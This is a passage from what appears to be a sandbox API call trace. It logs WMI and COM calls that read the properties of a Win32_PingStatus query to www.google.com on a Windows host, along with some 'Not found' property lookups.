varVal2=0x0), pType=0x245d67c*=3, plFlavor=0x245d680*=64) returned 0x0 [0138.739] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d6b0*=0, plFlavor=0x245d6b4*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245d6b0*=8200, plFlavor=0x245d6b4*=64) returned 0x0 [0138.739] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d6e4*=0, plFlavor=0x245d6e8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245d6e4*=8, plFlavor=0x245d6e8*=64) returned 0x0 [0138.739] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.739] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.739] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d730*=0, plFlavor=0x245d734*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245d730*=8, plFlavor=0x245d734*=64) returned 0x0 [0138.739] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.739] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.739] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d77c*=0, plFlavor=0x245d780*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245d77c*=8, plFlavor=0x245d780*=64) returned 0x0 [0138.739] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.739] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.740] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0138.740] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0138.740] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.740] IWbemClassObject:Get (in: This=0x507f00, wszName="WriteVerboseStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d9b4*=0, plFlavor=0x245d9b8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245d9b4*=0, plFlavor=0x245d9b8*=0) returned 0x80041002 [0138.740] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0138.741] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4b270) returned 0x0 [0138.742] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b270, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0138.742] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4b270, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b2a0) returned 0x0 [0138.742] WbemStatusCodeText:IUnknown:Release (This=0x4f4b270) returned 0x0 [0138.742] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b2a0) returned 0x0 [0138.742] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0138.742] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b2a0) returned 0x3 [0138.742] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0138.742] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0138.742] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0138.742] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0138.742] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0138.743] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0138.743] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2a0) returned 0x2 [0138.743] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2a0) returned 0x1 [0138.743] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0138.743] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0138.743] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2a0, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b2a0) returned 0x0 [0138.743] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b2a0) returned 0x3 [0138.743] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2a0) returned 0x2 [0138.743] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b2a0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0138.743] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.744] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.744] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.744] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.744] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.744] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.744] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.745] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0138.745] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.745] SafeArrayGetDim (psa=0x4f3e390) returned 0x1 [0138.745] SafeArrayGetLBound (in: psa=0x4f3e390, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0138.745] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.745] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.745] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.745] SysStringByteLen (bstr="__CLASS") returned 0xe [0138.745] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.745] SysStringByteLen (bstr="__SUPERCLASS") returned 0x18 [0138.745] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.745] SysStringByteLen (bstr="__DYNASTY") returned 0x12 [0138.745] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.745] SysStringByteLen (bstr="__RELPATH") returned 0x12 [0138.745] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.745] SysStringByteLen (bstr="__PROPERTY_COUNT") returned 0x20 [0138.746] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.746] SysStringByteLen (bstr="__DERIVATION") returned 0x18 [0138.746] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.746] SysStringByteLen (bstr="__SERVER") returned 0x10 [0138.746] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.746] SysStringByteLen (bstr="__NAMESPACE") returned 0x16 [0138.746] SysStringByteLen (bstr="__PATH") returned 0xc [0138.746] SysStringByteLen (bstr="__PATH") returned 0xc [0138.746] IWbemClassObject:Get (in: This=0x507f00, wszName="__GENUS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245dd94*=0, plFlavor=0x245dd98*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2, varVal2=0x0), pType=0x245dd94*=3, plFlavor=0x245dd98*=64) returned 0x0 [0138.746] IWbemClassObject:Get (in: This=0x507f00, wszName="__CLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245ddc8*=0, plFlavor=0x245ddcc*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245ddc8*=8, plFlavor=0x245ddcc*=64) returned 0x0 [0138.746] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.746] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.747] IWbemClassObject:Get (in: This=0x507f00, wszName="__SUPERCLASS", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245de20*=0, plFlavor=0x245de24*=0 | out: pVal=0x59ee9cc*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245de20*=8, plFlavor=0x245de24*=64) returned 0x0 [0138.747] IWbemClassObject:Get (in: This=0x507f00, wszName="__DYNASTY", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245de48*=0, plFlavor=0x245de4c*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus", varVal2=0x0), pType=0x245de48*=8, plFlavor=0x245de4c*=64) returned 0x0 [0138.747] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.747] SysStringByteLen (bstr="Win32_PingStatus") returned 0x20 [0138.747] IWbemClassObject:Get (in: This=0x507f00, wszName="__RELPATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245dea0*=0, plFlavor=0x245dea4*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245dea0*=8, plFlavor=0x245dea4*=64) returned 0x0 [0138.747] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.747] SysStringByteLen (bstr="Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1a4 [0138.747] IWbemClassObject:Get (in: This=0x507f00, wszName="__PROPERTY_COUNT", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e07c*=0, plFlavor=0x245e080*=0 | out: pVal=0x59ee9cc*(varType=0x3, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x18, varVal2=0x0), pType=0x245e07c*=3, plFlavor=0x245e080*=64) returned 0x0 [0138.748] IWbemClassObject:Get (in: This=0x507f00, wszName="__DERIVATION", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e0b0*=0, plFlavor=0x245e0b4*=0 | out: pVal=0x59ee9cc*(varType=0x2008, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x4f3e450*(cDims=0x1, fFeatures=0x180, cbElements=0x4, cLocks=0x0, pvData=0x4f4b270, rgsabound=((cElements=0x0, lLbound=0))), varVal2=0x0), pType=0x245e0b0*=8200, plFlavor=0x245e0b4*=64) returned 0x0 [0138.748] IWbemClassObject:Get (in: This=0x507f00, wszName="__SERVER", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e0e4*=0, plFlavor=0x245e0e8*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Q9IATRKPRH", varVal2=0x0), pType=0x245e0e4*=8, plFlavor=0x245e0e8*=64) returned 0x0 [0138.748] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.748] SysStringByteLen (bstr="Q9IATRKPRH") returned 0x14 [0138.748] IWbemClassObject:Get (in: This=0x507f00, wszName="__NAMESPACE", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e130*=0, plFlavor=0x245e134*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="root\\cimv2", varVal2=0x0), pType=0x245e130*=8, plFlavor=0x245e134*=64) returned 0x0 [0138.748] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.748] SysStringByteLen (bstr="root\\cimv2") returned 0x14 [0138.748] IWbemClassObject:Get (in: This=0x507f00, wszName="__PATH", lFlags=0, pVal=0x59ee9cc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e17c*=0, plFlavor=0x245e180*=0 | out: pVal=0x59ee9cc*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0", varVal2=0x0), pType=0x245e17c*=8, plFlavor=0x245e180*=64) returned 0x0 [0138.748] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.748] SysStringByteLen (bstr="\\\\Q9IATRKPRH\\root\\cimv2:Win32_PingStatus.Address=\"www.google.com\",BufferSize=32,NoFragmentation=FALSE,RecordRoute=0,ResolveAddressNames=FALSE,SourceRoute=\"\",SourceRouteType=0,Timeout=4000,TimestampRoute=0,TimeToLive=80,TypeofService=0") returned 0x1d4 [0138.749] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59eea10 | out: puCount=0x59eea10*=0x2) returned 0x0 [0138.749] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0x0, pszText=0x0 | out: puBuffLength=0x59eea0c*=0xf, pszText=0x0) returned 0x0 [0138.749] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59eea0c*=0xf, pszText="00000000000000" | out: puBuffLength=0x59eea0c*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.749] IWbemClassObject:Get (in: This=0x507f00, wszName="WriteDebugStream", lFlags=0, pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e3b4*=0, plFlavor=0x245e3b8*=0 | out: pVal=0x59eea0c*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pType=0x245e3b4*=0, plFlavor=0x245e3b8*=0) returned 0x80041002 [0138.749] GetErrorInfo (in: dwReserved=0x0, pperrinfo=0x59ee9f0 | out: pperrinfo=0x59ee9f0*=0x0) returned 0x1 [0138.750] CoGetClassObject (in: rclsid=0x4f3e35c*(Data1=0xeb87e1bd, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x59ee650 | out: ppv=0x59ee650*=0x4f4b270) returned 0x0 [0138.751] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b270, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x59ee868 | out: ppvObject=0x59ee868*=0x0) returned 0x80004002 [0138.751] WbemStatusCodeText:IClassFactory:CreateInstance (in: This=0x4f4b270, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee874 | out: ppvObject=0x59ee874*=0x4f4b2b0) returned 0x0 [0138.751] WbemStatusCodeText:IUnknown:Release (This=0x4f4b270) returned 0x0 [0138.751] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee494 | out: ppvObject=0x59ee494*=0x4f4b2b0) returned 0x0 [0138.751] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x59ee448 | out: ppvObject=0x59ee448*=0x0) returned 0x80004002 [0138.752] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b2b0) returned 0x3 [0138.752] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x59edda4 | out: ppvObject=0x59edda4*=0x0) returned 0x80004002 [0138.752] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x59edd54 | out: ppvObject=0x59edd54*=0x0) returned 0x80004002 [0138.752] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59edd60 | out: ppvObject=0x59edd60*=0x0) returned 0x80004002 [0138.752] CoGetContextToken (in: pToken=0x59eddc0 | out: pToken=0x59eddc0) returned 0x0 [0138.752] CoGetContextToken (in: pToken=0x59ee1d4 | out: pToken=0x59ee1d4) returned 0x0 [0138.752] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x59ee254 | out: ppvObject=0x59ee254*=0x0) returned 0x80004002 [0138.752] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2b0) returned 0x2 [0138.752] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2b0) returned 0x1 [0138.752] CoGetContextToken (in: pToken=0x59ee854 | out: pToken=0x59ee854) returned 0x0 [0138.752] CoGetContextToken (in: pToken=0x59ee7b4 | out: pToken=0x59ee7b4) returned 0x0 [0138.752] WbemStatusCodeText:IUnknown:QueryInterface (in: This=0x4f4b2b0, riid=0x59ee884*(Data1=0xeb87e1bc, Data2=0x3233, Data3=0x11d2, Data4=([0]=0xae, [1]=0xc9, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), ppvObject=0x59ee880 | out: ppvObject=0x59ee880*=0x4f4b2b0) returned 0x0 [0138.752] WbemStatusCodeText:IUnknown:AddRef (This=0x4f4b2b0) returned 0x3 [0138.752] WbemStatusCodeText:IUnknown:Release (This=0x4f4b2b0) returned 0x2 [0138.752] WbemStatusCodeText:IWbemStatusCodeText:GetErrorCodeText (in: This=0x4f4b2b0, hRes=0x80041002, LocaleId=0x0, lFlags=1, MessageText=0x59ee9e4 | out: MessageText=0x59ee9e4*="Not found ") returned 0x0 [0138.752] SysStringByteLen (bstr="Not found ") returned 0x14 [0138.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.754] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.754] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.754] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x4da430, puCount=0x59ee9d4 | out: puCount=0x59ee9d4*=0x2) returned 0x0 [0138.754] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0x0, pszText=0x0 | out: puBuffLength=0x59ee9d0*=0xf, pszText=0x0) returned 0x0 [0138.754] WbemDefPath:IWbemPath:GetText (in: This=0x4da430, lFlags=4, puBuffLength=0x59ee9d0*=0xf, pszText="00000000000000" | out: puBuffLength=0x59ee9d0*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0138.754] IWbemClassObject:GetNames (in: This=0x507f00, wszQualifierName=0x0, lFlags=48, pQualifierVal=0x59ee9dc*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0x0), pNames=0x59ee9d0 | out: pNames=0x59ee9d0*="\x01ƀ\x04") returned 0x0 [0138.754] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.754] SafeArrayGetDim (psa=0x4f3e3c0) returned 0x1 [0138.754] SafeArrayGetLBound (in: psa=0x4f3e3c0, nDim=0x1, plLbound=0x59ee868 | out: plLbound=0x59ee868) returned 0x0 [0138.754] SysStringByteLen (bstr="__GENUS") returned 0xe [0138.754] 